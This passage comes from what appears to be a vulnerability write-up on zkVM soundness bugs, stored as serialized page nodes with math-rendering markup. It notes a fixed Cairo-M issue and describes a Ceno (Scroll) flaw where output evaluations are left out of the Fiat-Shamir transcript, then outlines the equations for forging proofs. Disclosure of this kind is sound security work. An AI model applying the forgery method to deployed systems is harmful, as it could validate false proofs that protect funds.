children":118500},{"className":118499},[4776],[118501],{"type":26,"value":4469},{"type":21,"tag":85,"props":118503,"children":118505},{"className":118504},[22167],[118506],{"type":26,"value":1900},{"type":21,"tag":85,"props":118508,"children":118510},{"className":118509,"style":4858},[4857],[],{"type":21,"tag":85,"props":118512,"children":118514},{"className":118513},[4863],[118515],{"type":26,"value":5151},{"type":21,"tag":85,"props":118517,"children":118519},{"className":118518,"style":4858},[4857],[],{"type":21,"tag":85,"props":118521,"children":118523},{"className":118522},[4765],[118524,118528,118538,118543,118553,118557,118562],{"type":21,"tag":85,"props":118525,"children":118527},{"className":118526,"style":93451},[4770],[],{"type":21,"tag":85,"props":118529,"children":118531},{"className":118530},[4776,26],[118532],{"type":21,"tag":85,"props":118533,"children":118535},{"className":118534},[4776],[118536],{"type":26,"value":118537},"(other transcript",{"type":21,"tag":85,"props":118539,"children":118541},{"className":118540,"style":93509},[4776],[118542],{"type":26,"value":3856},{"type":21,"tag":85,"props":118544,"children":118546},{"className":118545},[4776,26],[118547],{"type":21,"tag":85,"props":118548,"children":118550},{"className":118549},[4776],[118551],{"type":26,"value":118552},"bound terms)",{"type":21,"tag":85,"props":118554,"children":118556},{"className":118555,"style":4955},[4857],[],{"type":21,"tag":85,"props":118558,"children":118560},{"className":118559},[4960],[118561],{"type":26,"value":741},{"type":21,"tag":85,"props":118563,"children":118565},{"className":118564,"style":4955},[4857],[],{"type":21,"tag":85,"props":118567,"children":118569},{"className":118568},[4765],[118570,118575,118580,118585,118590,118594,118599,118603,118608],{"type":21,"tag":85,"props":118571,"children":118574},{"className":118572,"style":118573},[4770],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":21,"tag":85,"props":118576,"children":118578},{"className":118577},[4776],[118579],{"type":26,"value":4789},{"type":21,"tag":85,"props":118581,"children":118583},{"className":118582},[4889],[118584],{"type":26,"value":4892},{"type":21,"tag":85,"props":118586,"children":118589},{"className":118587,"style":118588},[4857],"margin-right:2em;",[],{"type":21,"tag":85,"props":118591,"children":118593},{"className":118592,"style":4896},[4857],[],{"type":21,"tag":85,"props":118595,"children":118597},{"className":118596},[4776,22016],[118598],{"type":26,"value":118473},{"type":21,"tag":85,"props":118600,"children":118602},{"className":118601,"style":4955},[4857],[],{"type":21,"tag":85,"props":118604,"children":118606},{"className":118605},[4960],[118607],{"type":26,"value":741},{"type":21,"tag":85,"props":118609,"children":118611},{"className":118610,"style":4955},[4857],[],{"type":21,"tag":85,"props":118613,"children":118615},{"className":118614},[4765],[118616,118621,118678,118682,118900],{"type":21,"tag":85,"props":118617,"children":118620},{"className":118618,"style":118619},[4770],"height:1.4071em;vertical-align:-0.562em;",[],{"type":21,"tag":85,"props":118622,"children":118624},{"className":118623},[22052],[118625,118630],{"type":21,"tag":85,"props":118626,"children":118628},{"className":118627,"style":22059},[22052,22057,22058],[118629],{"type":26,"value":109304},{"type":21,"tag":85,"props":118631,"children":118633},{"className":118632},[4793],[118634],{"type":21,"tag":85,"props":118635,"children":118637},{"className":118636},[4798,22070],[118638,118667],{"type":21,"tag":85,"props":118639,"children":118641},{"className":118640},[4803],[118642,118662],{"type":21,"tag":85,"props":118643,"children":118645},{"className":118644,"style":114716},[4808],[118646],{"type":21,"tag":85,"props":118647,"children":118648},{"style":22083},[118649,118653],{"type":21,"tag":85,"props":118650,"children":118652},{"className":118651,"style":4818},[4817],[],{"type":21,"tag":85,"props":118654,"children":118656},{"className":118655},[4823,4824,4825,4826],[118657],{"type":21,"tag":85,"props":118658,"children":118660},{"className":118659},[4776,22016,4826],[118661],{"type":26,"value":3003},{"type":21,"tag":85,"props":118663,"children":118665},{"className":118664},[22173],[118666],{"type":26,"value":22176},{"type":21,"tag":85,"props":118668,"children":118670},{"className":118669},[4803],[118671],{"type":21,"tag":85,"props":118672,"children":118674},{"className":118673,"style":114996},[4808],[118675],{"type":21,"tag":85,"props":118676,"children":118677},{},[],{"type":21,"tag":85,"props":118679,"children":118681},{"className":118680,"style":4896},[4857],[],{"type":21,"tag":85,"props":118683,"children":118685},{"className":118684},[4776],[118686,118690,118896],{"type":21,"tag":85,"props":118687,"children":118689},{"className":118688},[22145,114027],[],{"type":21,"tag":85,"props":118691,"children":118693},{"className":118692},[114032],[118694],{"type":21,"tag":85,"props":118695,"children":118697},{"className":118696},[4798,22070],[118698,118884],{"type":21,"tag":85,"props":118699,"children":118701},{"className":118700},[4803],[118702,118879],{"type":21,"tag":85,"props":118703,"children":118705},{"className":118704,"style":114045},[4808],[118706,118848,118859],{"type":21,"tag":85,"props":118707,"children":118708},{"style":114049},[118709,118713],{"type":21,"tag":85,"props":118710,"children":118712},{"className":118711,"style":112680},[4817],[],{"type":21,"tag":85,"props":118714,"children":118716},{"className":118715},[4823,4824,4825,4826],[118717],{"type":21,"tag":85,"props":118718,"children":118720},{"className":118719},[4776,4826],[118721,118726,118731,118737,118742,118747,118804,118809,118818,118823,118832,118838,118843],{"type":21,"tag":85,"props":118722,"children":118724},{"className":118723,"style":114066},[4776,22016,4826],[118725],{"type":26,"value":114069},{"type":21,"tag":85,"props":118727,"children":118729},{"className":118728},[4863,4826],[118730],{"type":26,"value":5151},{"type":21,"tag":85,"props":118732,"children":118734},{"className":118733},[22145,4826],[118735],{"type":26,"value":118736},"⟨",{"type":21,"tag":85,"props":118738,"children":118740},{"className":118739,"style":115597},[4776,22016,4826],[118741],{"type":26,"value":115600},{"type":21,"tag":85,"props":118743,"children":118745},{"className":118744},[4889,4826],[118746],{"type":26,"value":4892},{"type":21,"tag":85,"props":118748,"children":118750},{"className":118749},[4776,4826],[118751,118756],{"type":21,"tag":85,"props":118752,"children":118754},{"className":118753},[4776,22016,4826],[118755],{"type":26,"value":22158},{"type":21,"tag":85,"props":118757,"children":118759},{"className":118758},[4793],[118760],{"type":21,"tag":85,"props":118761,"children":118763},{"className":118762},[4798,22070],[118764,118793],{"type":21,"tag":85,"props":118765,"children":118767},{"className":118766},[4803],[118768,118788],{"type":21,"tag":85,"props":118769,"children":118771},{"className":118770,"style":114833},[4808],[118772],{"type":21,"tag":85,"props":118773,"children":118774},{"style":109364},[118775,118779],{"type":21,"tag":85,"props":118776,"children":118778},{"className":118777,"style":109369},[4817],[],{"type":21,"tag":85,"props":118780,"children":118782},{"className":118781},[4823,109374,109375,4826],[118783],{"type":21,"tag":85,"props":118784,"children":118786},{"className":118785},[4776,22016,4826],[118787],{"type":26,"value":3003},{"type":21,"tag":85,"props":118789,"children":118791},{"className":118790},[22173],[118792],{"type":26,"value":22176},{"type":21,"tag":85,"props":118794,"children":118796},{"className":118795},[4803],[118797],{"type":21,"tag":85,"props":118798,"children":118800},{"className":118799,"style":109394},[4808],[118801],{"type":21,"tag":85,"props":118802,"children":118803},{},[],{"type":21,"tag":85,"props":118805,"children":118807},{"className":118806},[22145,4826],[118808],{"type":26,"value":1439},{"type":21,"tag":85,"props":118810,"children":118812},{"className":118811},[4776,26,4826],[118813],{"type":21,"tag":85,"props":118814,"children":118816},{"className":118815},[4776,4826],[118817],{"type":26,"value":62133},{"type":21,"tag":85,"props":118819,"children":118821},{"className":118820,"style":93509},[4776,4826],[118822],{"type":26,"value":3856},{"type":21,"tag":85,"props":118824,"children":118826},{"className":118825},[4776,26,4826],[118827],{"type":21,"tag":85,"props":118828,"children":118830},{"className":118829},[4776,4826],[118831],{"type":26,"value":4469},{"type":21,"tag":85,"props":118833,"children":118835},{"className":118834},[22167,4826],[118836],{"type":26,"value":118837},")⟩",{"type":21,"tag":85,"props":118839,"children":118841},{"className":118840},[4863,4826],[118842],{"type":26,"value":5151},{"type":21,"tag":85,"props":118844,"children":118846},{"className":118845,"style":115652},[4776,22016,4826],[118847],{"type":26,"value":115655},{"type":21,"tag":85,"props":118849,"children":118850},{"style":114082},[118851,118855],{"type":21,"tag":85,"props":118852,"children":118854},{"className":118853,"style":112680},[4817],[],{"type":21,"tag":85,"props":118856,"children":118858},{"className":118857,"style":114092},[114091],[],{"type":21,"tag":85,"props":118860,"children":118861},{"style":114096},[118862,118866],{"type":21,"tag":85,"props":118863,"children":118865},{"className":118864,"style":112680},[4817],[],{"type":21,"tag":85,"props":118867,"children":118869},{"className":118868},[4823,4824,4825,4826],[118870],{"type":21,"tag":85,"props":118871,"children":118873},{"className":118872},[4776,4826],[118874],{"type":21,"tag":85,"props":118875,"children":118877},{"className":118876},[4776,4826],[118878],{"type":26,"value":4779},{"type":21,"tag":85,"props":118880,"children":118882},{"className":118881},[22173],[118883],{"type":26,"value":22176},{"type":21,"tag":85,"props":118885,"children":118887},{"className":118886},[4803],[118888],{"type":21,"tag":85,"props":118889,"children":118892},{"className":118890,"style":118891},[4808],"height:0.562em;",[118893],{"type":21,"tag":85,"props":118894,"children":118895},{},[],{"type":21,"tag":85,"props":118897,"children":118899},{"className":118898},[22167,114027],[],{"type":21,"tag":85,"props":118901,"children":118903},{"className":118902},[4776],[118904],{"type":26,"value":73},{"type":21,"tag":22,"props":118906,"children":118907},{},[118908,118910],{"type":26,"value":118909},"The global check is then that ",{"type":21,"tag":66,"props":118911,"children":118913},{"className":118912},[4748,4749],[118914],{"type":21,"tag":85,"props":118915,"children":118917},{"className":118916},[4754],[118918],{"type":21,"tag":85,"props":118919,"children":118921},{"className":118920,"ariaHidden":4760},[4759],[118922,118963,118994],{"type":21,"tag":85,"props":118923,"children":118925},{"className":118924},[4765],[118926,118930,118935,118940,118945,118950,118954,118959],{"type":21,"tag":85,"props":118927,"children":118929},{"className":118928,"style":4878},[4770],[],{"type":21,"tag":85,"props":118931,"children":118933},{"className":118932},[4776,22016],[118934],{"type":26,"value":118473},{"type":21,"tag":85,"props":118936,"children":118938},{"className":118937},[22145],[118939],{"type":26,"value":1439},{"type":21,"tag":85,"props":118941,"children":118943},{"className":118942},[4776,22016],[118944],{"type":26,"value":22},{"type":21,"tag":85,"props":118946,"children":118948},{"className":118947},[22167],[118949],{"type":26,"value":1900},{"type":21,"tag":85,"props":118951,"children":118953},{"className":118952,"style":4858},[4857],[],{"type":21,"tag":85,"props":118955,"children":118957},{"className":118956},[4863],[118958],{"type":26,"value":5151},{"type":21,"tag":85,"props":118960,"children":118962},{"className":118961,"style":4858},[4857],[],{"type":21,"tag":85,"props":118964,"children":118966},{"className":118965},[4765],[118967,118971,118981,118985,118990],{"type":21,"tag":85,"props":118968,"children":118970},{"className":118969,"style":4878},[4770],[],{"type":21,"tag":85,"props":118972,"children":118974},{"className":118973},[4776,26],[118975],{"type":21,"tag":85,"props":118976,"children":118978},{"className":118977},[4776],[118979],{"type":26,"value":118980},"(other terms)",{"type":21,"tag":85,"props":118982,"children":118984},{"className":118983,"style":4955},[4857],[],{"type":21,"tag":85,"props":118986,"children":118988},{"className":118987},[4960],[118989],{"type":26,"value":741},{"type":21,"tag":85,"props":118991,"children":118993},{"className":118992,"style":4955},[4857],[],{"type":21,"tag":85,"props":118995,"children":118997},{"className":118996},[4765],[118998,119002],{"type":21,"tag":85,"props":118999,"children":119001},{"className":119000,"style":94540},[4770],[],{"type":21,"tag":85,"props":119003,"children":119005},{"className":119004},[4776],[119006],{"type":26,"value":4789},{"type":21,"tag":22,"props":119008,"children":119009},{},[119010],{"type":26,"value":119011},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":21,"tag":22,"props":119013,"children":119014},{},[119015],{"type":26,"value":119016},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":21,"tag":22,"props":119018,"children":119019},{},[119020,119024,119026],{"type":21,"tag":873,"props":119021,"children":119022},{},[119023],{"type":26,"value":117219},{"type":26,"value":119025}," Fixed on October 31, 2025 via ",{"type":21,"tag":335,"props":119027,"children":119030},{"href":119028,"rel":119029},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[339],[119031],{"type":26,"value":119032},"commit 92b6740",{"type":21,"tag":19218,"props":119034,"children":119035},{},[],{"type":21,"tag":10022,"props":119037,"children":119039},{"id":119038},"ceno-scroll",[119040],{"type":26,"value":119041},"Ceno (Scroll)",{"type":21,"tag":22,"props":119043,"children":119044},{},[119045],{"type":26,"value":119046},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":21,"tag":22,"props":119048,"children":119049},{},[119050,119052,119057],{"type":26,"value":119051},"Ceno splits verification into ",{"type":21,"tag":873,"props":119053,"children":119054},{},[119055],{"type":26,"value":119056},"chips",{"type":26,"value":119058},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":21,"tag":22,"props":119060,"children":119061},{},[119062,119064,119069],{"type":26,"value":119063},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":21,"tag":873,"props":119065,"children":119066},{},[119067],{"type":26,"value":119068},"tower sumcheck",{"type":26,"value":73},{"type":21,"tag":22,"props":119071,"children":119072},{},[119073],{"type":26,"value":119074},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":21,"tag":22,"props":119076,"children":119077},{},[119078],{"type":21,"tag":66,"props":119079,"children":119081},{"className":119080},[4748,4749],[119082],{"type":21,"tag":85,"props":119083,"children":119085},{"className":119084},[4754],[119086],{"type":21,"tag":85,"props":119087,"children":119089},{"className":119088,"ariaHidden":4760},[4759],[119090,119264,119437],{"type":21,"tag":85,"props":119091,"children":119093},{"className":119092},[4765],[119094,119098,119156,119160,119169,119174,119184,119189,119251,119255,119260],{"type":21,"tag":85,"props":119095,"children":119097},{"className":119096,"style":93451},[4770],[],{"type":21,"tag":85,"props":119099,"children":119101},{"className":119100},[22052],[119102,119108],{"type":21,"tag":85,"props":119103,"children":119105},{"className":119104,"style":22059},[22052,22057,22058],[119106],{"type":26,"value":119107},"∏",{"type":21,"tag":85,"props":119109,"children":119111},{"className":119110},[4793],[119112],{"type":21,"tag":85,"props":119113,"children":119115},{"className":119114},[4798,22070],[119116,119145],{"type":21,"tag":85,"props":119117,"children":119119},{"className":119118},[4803],[119120,119140],{"type":21,"tag":85,"props":119121,"children":119123},{"className":119122,"style":114716},[4808],[119124],{"type":21,"tag":85,"props":119125,"children":119126},{"style":22083},[119127,119131],{"type":21,"tag":85,"props":119128,"children":119130},{"className":119129,"style":4818},[4817],[],{"type":21,"tag":85,"props":119132,"children":119134},{"className":119133},[4823,4824,4825,4826],[119135],{"type":21,"tag":85,"props":119136,"children":119138},{"className":119137},[4776,22016,4826],[119139],{"type":26,"value":3003},{"type":21,"tag":85,"props":119141,"children":119143},{"className":119142},[22173],[119144],{"type":26,"value":22176},{"type":21,"tag":85,"props":119146,"children":119148},{"className":119147},[4803],[119149],{"type":21,"tag":85,"props":119150,"children":119152},{"className":119151,"style":114996},[4808],[119153],{"type":21,"tag":85,"props":119154,"children":119155},{},[],{"type":21,"tag":85,"props":119157,"children":119159},{"className":119158,"style":4896},[4857],[],{"type":21,"tag":85,"props":119161,"children":119163},{"className":119162},[4776,26],[119164],{"type":21,"tag":85,"props":119165,"children":119167},{"className":119166},[4776],[119168],{"type":26,"value":94328},{"type":21,"tag":85,"props":119170,"children":119172},{"className":119171,"style":93509},[4776],[119173],{"type":26,"value":3856},{"type":21,"tag":85,"props":119175,"children":119177},{"className":119176},[4776,26],[119178],{"type":21,"tag":85,"props":119179,"children":119181},{"className":119180},[4776],[119182],{"type":26,"value":119183},"out",{"type":21,"tag":85,"props":119185,"children":119187},{"className":119186,"style":93509},[4776],[119188],{"type":26,"value":3856},{"type":21,"tag":85,"props":119190,"children":119192},{"className":119191},[4776],[119193,119203],{"type":21,"tag":85,"props":119194,"children":119196},{"className":119195},[4776,26],[119197],{"type":21,"tag":85,"props":119198,"children":119200},{"className":119199},[4776],[119201],{"type":26,"value":119202},"evals",{"type":21,"tag":85,"props":119204,"children":119206},{"className":119205},[4793],[119207],{"type":21,"tag":85,"props":119208,"children":119210},{"className":119209},[4798,22070],[119211,119240],{"type":21,"tag":85,"props":119212,"children":119214},{"className":119213},[4803],[119215,119235],{"type":21,"tag":85,"props":119216,"children":119218},{"className":119217,"style":94038},[4808],[119219],{"type":21,"tag":85,"props":119220,"children":119221},{"style":114639},[119222,119226],{"type":21,"tag":85,"props":119223,"children":119225},{"className":119224,"style":4818},[4817],[],{"type":21,"tag":85,"props":119227,"children":119229},{"className":119228},[4823,4824,4825,4826],[119230],{"type":21,"tag":85,"props":119231,"children":119233},{"className":119232},[4776,22016,4826],[119234],{"type":26,"value":3003},{"type":21,"tag":85,"props":119236,"children":119238},{"className":119237},[22173],[119239],{"type":26,"value":22176},{"type":21,"tag":85,"props":119241,"children":119243},{"className":119242},[4803],[119244],{"type":21,"tag":85,"props":119245,"children":119247},{"className":119246,"style":93592},[4808],[119248],{"type":21,"tag":85,"props":119249,"children":119250},{},[],{"type":21,"tag":85,"props":119252,"children":119254},{"className":119253,"style":4955},[4857],[],{"type":21,"tag":85,"props":119256,"children":119258},{"className":119257},[4960],[119259],{"type":26,"value":741},{"type":21,"tag":85,"props":119261,"children":119263},{"className":119262,"style":4955},[4857],[],{"type":21,"tag":85,"props":119265,"children":119267},{"className":119266},[4765],[119268,119273,119330,119334,119343,119348,119357,119362,119424,119428,119433],{"type":21,"tag":85,"props":119269,"children":119272},{"className":119270,"style":119271},[4770],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":21,"tag":85,"props":119274,"children":119276},{"className":119275},[22052],[119277,119282],{"type":21,"tag":85,"props":119278,"children":119280},{"className":119279,"style":22059},[22052,22057,22058],[119281],{"type":26,"value":119107},{"type":21,"tag":85,"props":119283,"children":119285},{"className":119284},[4793],[119286],{"type":21,"tag":85,"props":119287,"children":119289},{"className":119288},[4798,22070],[119290,119319],{"type":21,"tag":85,"props":119291,"children":119293},{"className":119292},[4803],[119294,119314],{"type":21,"tag":85,"props":119295,"children":119297},{"className":119296,"style":114716},[4808],[119298],{"type":21,"tag":85,"props":119299,"children":119300},{"style":22083},[119301,119305],{"type":21,"tag":85,"props":119302,"children":119304},{"className":119303,"style":4818},[4817],[],{"type":21,"tag":85,"props":119306,"children":119308},{"className":119307},[4823,4824,4825,4826],[119309],{"type":21,"tag":85,"props":119310,"children":119312},{"className":119311,"style":114732},[4776,22016,4826],[119313],{"type":26,"value":3021},{"type":21,"tag":85,"props":119315,"children":119317},{"className":119316},[22173],[119318],{"type":26,"value":22176},{"type":21,"tag":85,"props":119320,"children":119322},{"className":119321},[4803],[119323],{"type":21,"tag":85,"props":119324,"children":119326},{"className":119325,"style":114747},[4808],[119327],{"type":21,"tag":85,"props":119328,"children":119329},{},[],{"type":21,"tag":85,"props":119331,"children":119333},{"className":119332,"style":4896},[4857],[],{"type":21,"tag":85,"props":119335,"children":119337},{"className":119336},[4776,26],[119338],{"type":21,"tag":85,"props":119339,"children":119341},{"className":119340},[4776],[119342],{"type":26,"value":50027},{"type":21,"tag":85,"props":119344,"children":119346},{"className":119345,"style":93509},[4776],[119347],{"type":26,"value":3856},{"type":21,"tag":85,"props":119349,"children":119351},{"className":119350},[4776,26],[119352],{"type":21,"tag":85,"props":119353,"children":119355},{"className":119354},[4776],[119356],{"type":26,"value":119183},{"type":21,"tag":85,"props":119358,"children":119360},{"className":119359,"style":93509},[4776],[119361],{"type":26,"value":3856},{"type":21,"tag":85,"props":119363,"children":119365},{"className":119364},[4776],[119366,119375],{"type":21,"tag":85,"props":119367,"children":119369},{"className":119368},[4776,26],[119370],{"type":21,"tag":85,"props":119371,"children":119373},{"className":119372},[4776],[119374],{"type":26,"value":119202},{"type":21,"tag":85,"props":119376,"children":119378},{"className":119377},[4793],[119379],{"type":21,"tag":85,"props":119380,"children":119382},{"className":119381},[4798,22070],[119383,119412],{"type":21,"tag":85,"props":119384,"children":119386},{"className":119385},[4803],[119387,119407],{"type":21,"tag":85,"props":119388,"children":119390},{"className":119389,"style":94038},[4808],[119391],{"type":21,"tag":85,"props":119392,"children":119393},{"style":114639},[119394,119398],{"type":21,"tag":85,"props":119395,"children":119397},{"className":119396,"style":4818},[4817],[],{"type":21,"tag":85,"props":119399,"children":119401},{"className":119400},[4823,4824,4825,4826],[119402],{"type":21,"tag":85,"props":119403,"children":119405},{"className":119404,"style":114732},[4776,22016,4826],[119406],{"type":26,"value":3021},{"type":21,"tag":85,"props":119408,"children":119410},{"className":119409},[22173],[119411],{"type":26,"value":22176},{"type":21,"tag":85,"props":119413,"children":119415},{"className":119414},[4803],[119416],{"type":21,"tag":85,"props":119417,"children":119420},{"className":119418,"style":119419},[4808],"height:0.2861em;",[119421],{"type":21,"tag":85,"props":119422,"children":119423},{},[],{"type":21,"tag":85,"props":119425,"children":119427},{"className":119426,"style":4858},[4857],[],{"type":21,"tag":85,"props":119429,"children":119431},{"className":119430},[4863],[119432],{"type":26,"value":111771},{"type":21,"tag":85,"props":119434,"children":119436},{"className":119435,"style":4858},[4857],[],{"type":21,"tag":85,"props":119438,"children":119440},{"className":119439},[4765],[119441,119445,119450,119460],{"type":21,"tag":85,"props":119442,"children":119444},{"className":119443,"style":4878},[4770],[],{"type":21,"tag":85,"props":119446,"children":119448},{"className":119447},[22145],[119449],{"type":26,"value":1439},{"type":21,"tag":85,"props":119451,"children":119453},{"className":119452},[4776,26],[119454],{"type":21,"tag":85,"props":119455,"children":119457},{"className":119456},[4776],[119458],{"type":26,"value":119459},"state factors",{"type":21,"tag":85,"props":119461,"children":119463},{"className":119462},[22167],[119464],{"type":26,"value":1900},{"type":21,"tag":22,"props":119466,"children":119467},{},[119468],{"type":21,"tag":873,"props":119469,"children":119470},{},[119471],{"type":26,"value":115925},{"type":21,"tag":75,"props":119473,"children":119475},{"code":119474},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[119476],{"type":21,"tag":66,"props":119477,"children":119478},{"__ignoreMap":7},[119479],{"type":26,"value":119474},{"type":21,"tag":22,"props":119481,"children":119482},{},[119483,119489,119490,119496,119497,119503],{"type":21,"tag":66,"props":119484,"children":119486},{"className":119485},[],[119487],{"type":26,"value":119488},"r_out_evals",{"type":26,"value":256},{"type":21,"tag":66,"props":119491,"children":119493},{"className":119492},[],[119494],{"type":26,"value":119495},"w_out_evals",{"type":26,"value":820},{"type":21,"tag":66,"props":119498,"children":119500},{"className":119499},[],[119501],{"type":26,"value":119502},"lk_out_evals",{"type":26,"value":119504}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":21,"tag":841,"props":119506,"children":119507},{},[119508],{"type":21,"tag":845,"props":119509,"children":119510},{},[119511,119516,119518,119524],{"type":21,"tag":873,"props":119512,"children":119513},{},[119514],{"type":26,"value":119515},"GKR/Tower equation",{"type":26,"value":119517}," (linear in ",{"type":21,"tag":66,"props":119519,"children":119521},{"className":119520},[],[119522],{"type":26,"value":119523},"out_evals",{"type":26,"value":24386},{"type":21,"tag":22,"props":119526,"children":119527},{},[119528,119530],{"type":26,"value":119529},"The tower sumcheck claim is ",{"type":21,"tag":66,"props":119531,"children":119533},{"className":119532},[4748,4749],[119534],{"type":21,"tag":85,"props":119535,"children":119537},{"className":119536},[4754],[119538],{"type":21,"tag":85,"props":119539,"children":119541},{"className":119540,"ariaHidden":4760},[4759],[119542,119573,119698],{"type":21,"tag":85,"props":119543,"children":119545},{"className":119544},[4765],[119546,119550,119560,119564,119569],{"type":21,"tag":85,"props":119547,"children":119549},{"className":119548,"style":93424},[4770],[],{"type":21,"tag":85,"props":119551,"children":119553},{"className":119552},[4776,26],[119554],{"type":21,"tag":85,"props":119555,"children":119557},{"className":119556},[4776],[119558],{"type":26,"value":119559},"claim",{"type":21,"tag":85,"props":119561,"children":119563},{"className":119562,"style":4955},[4857],[],{"type":21,"tag":85,"props":119565,"children":119567},{"className":119566},[4960],[119568],{"type":26,"value":741},{"type":21,"tag":85,"props":119570,"children":119572},{"className":119571,"style":4955},[4857],[],{"type":21,"tag":85,"props":119574,"children":119576},{"className":119575},[4765],[119577,119582,119639,119643,119685,119689,119694],{"type":21,"tag":85,"props":119578,"children":119581},{"className":119579,"style":119580},[4770],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":21,"tag":85,"props":119583,"children":119585},{"className":119584},[22052],[119586,119591],{"type":21,"tag":85,"props":119587,"children":119589},{"className":119588,"style":22059},[22052,22057,22058],[119590],{"type":26,"value":109304},{"type":21,"tag":85,"props":119592,"children":119594},{"className":119593},[4793],[119595],{"type":21,"tag":85,"props":119596,"children":119598},{"className":119597},[4798,22070],[119599,119628],{"type":21,"tag":85,"props":119600,"children":119602},{"className":119601},[4803],[119603,119623],{"type":21,"tag":85,"props":119604,"children":119606},{"className":119605,"style":114716},[4808],[119607],{"type":21,"tag":85,"props":119608,"children":119609},{"style":22083},[119610,119614],{"type":21,"tag":85,"props":119611,"children":119613},{"className":119612,"style":4818},[4817],[],{"type":21,"tag":85,"props":119615,"children":119617},{"className":119616},[4823,4824,4825,4826],[119618],{"type":21,"tag":85,"props":119619,"children":119621},{"className":119620,"style":114732},[4776,22016,4826],[119622],{"type":26,"value":3021},{"type":21,"tag":85,"props":119624,"children":119626},{"className":119625},[22173],[119627],{"type":26,"value":22176},{"type":21,"tag":85,"props":119629,"children":119631},{"className":119630},[4803],[119632],{"type":21,"tag":85,"props":119633,"children":119635},{"className":119634,"style":114747},[4808],[119636],{"type":21,"tag":85,"props":119637,"children":119638},{},[],{"type":21,"tag":85,"props":119640,"children":119642},{"className":119641,"style":4896},[4857],[],{"type":21,"tag":85,"props":119644,"children":119646},{"className":119645},[4776],[119647,119652],{"type":21,"tag":85,"props":119648,"children":119650},{"className":119649,"style":115597},[4776,22016],[119651],{"type":26,"value":115600},{"type":21,"tag":85,"props":119653,"children":119655},{"className":119654},[4793],[119656],{"type":21,"tag":85,"props":119657,"children":119659},{"className":119658},[4798],[119660],{"type":21,"tag":85,"props":119661,"children":119663},{"className":119662},[4803],[119664],{"type":21,"tag":85,"props":119665,"children":119668},{"className":119666,"style":119667},[4808],"height:0.8247em;",[119669],{"type":21,"tag":85,"props":119670,"children":119671},{"style":4812},[119672,119676],{"type":21,"tag":85,"props":119673,"children":119675},{"className":119674,"style":4818},[4817],[],{"type":21,"tag":85,"props":119677,"children":119679},{"className":119678},[4823,4824,4825,4826],[119680],{"type":21,"tag":85,"props":119681,"children":119683},{"className":119682,"style":114732},[4776,22016,4826],[119684],{"type":26,"value":3021},{"type":21,"tag":85,"props":119686,"children":119688},{"className":119687,"style":4858},[4857],[],{"type":21,"tag":85,"props":119690,"children":119692},{"className":119691},[4863],[119693],{"type":26,"value":111771},{"type":21,"tag":85,"props":119695,"children":119697},{"className":119696,"style":4858},[4857],[],{"type":21,"tag":85,"props":119699,"children":119701},{"className":119700},[4765],[119702,119706,119715,119720],{"type":21,"tag":85,"props":119703,"children":119705},{"className":119704,"style":94922},[4770],[],{"type":21,"tag":85,"props":119707,"children":119709},{"className":119708},[4776,26],[119710],{"type":21,"tag":85,"props":119711,"children":119713},{"className":119712},[4776],[119714],{"type":26,"value":119183},{"type":21,"tag":85,"props":119716,"children":119718},{"className":119717,"style":93509},[4776],[119719],{"type":26,"value":3856},{"type":21,"tag":85,"props":119721,"children":119723},{"className":119722},[4776],[119724,119733],{"type":21,"tag":85,"props":119725,"children":119727},{"className":119726},[4776,26],[119728],{"type":21,"tag":85,"props":119729,"children":119731},{"className":119730},[4776],[119732],{"type":26,"value":119202},{"type":21,"tag":85,"props":119734,"children":119736},{"className":119735},[4793],[119737],{"type":21,"tag":85,"props":119738,"children":119740},{"className":119739},[4798,22070],[119741,119770],{"type":21,"tag":85,"props":119742,"children":119744},{"className":119743},[4803],[119745,119765],{"type":21,"tag":85,"props":119746,"children":119748},{"className":119747,"style":94038},[4808],[119749],{"type":21,"tag":85,"props":119750,"children":119751},{"style":114639},[119752,119756],{"type":21,"tag":85,"props":119753,"children":119755},{"className":119754,"style":4818},[4817],[],{"type":21,"tag":85,"props":119757,"children":119759},{"className":119758},[4823,4824,4825,4826],[119760],{"type":21,"tag":85,"props":119761,"children":119763},{"className":119762,"style":114732},[4776,22016,4826],[119764],{"type":26,"value":3021},{"type":21,"tag":85,"props":119766,"children":119768},{"className":119767},[22173],[119769],{"type":26,"value":22176},{"type":21,"tag":85,"props":119771,"children":119773},{"className":119772},[4803],[119774],{"type":21,"tag":85,"props":119775,"children":119777},{"className":119776,"style":119419},[4808],[119778],{"type":21,"tag":85,"props":119779,"children":119780},{},[],{"type":21,"tag":22,"props":119782,"children":119783},{},[119784,119786,119791],{"type":26,"value":119785},"This check is linear in ",{"type":21,"tag":66,"props":119787,"children":119789},{"className":119788},[],[119790],{"type":26,"value":119523},{"type":26,"value":73},{"type":21,"tag":841,"props":119793,"children":119794},{"start":98},[119795],{"type":21,"tag":845,"props":119796,"children":119797},{},[119798,119803,119805,119810],{"type":21,"tag":873,"props":119799,"children":119800},{},[119801],{"type":26,"value":119802},"rw-product consistency",{"type":26,"value":119804}," (bilinear in 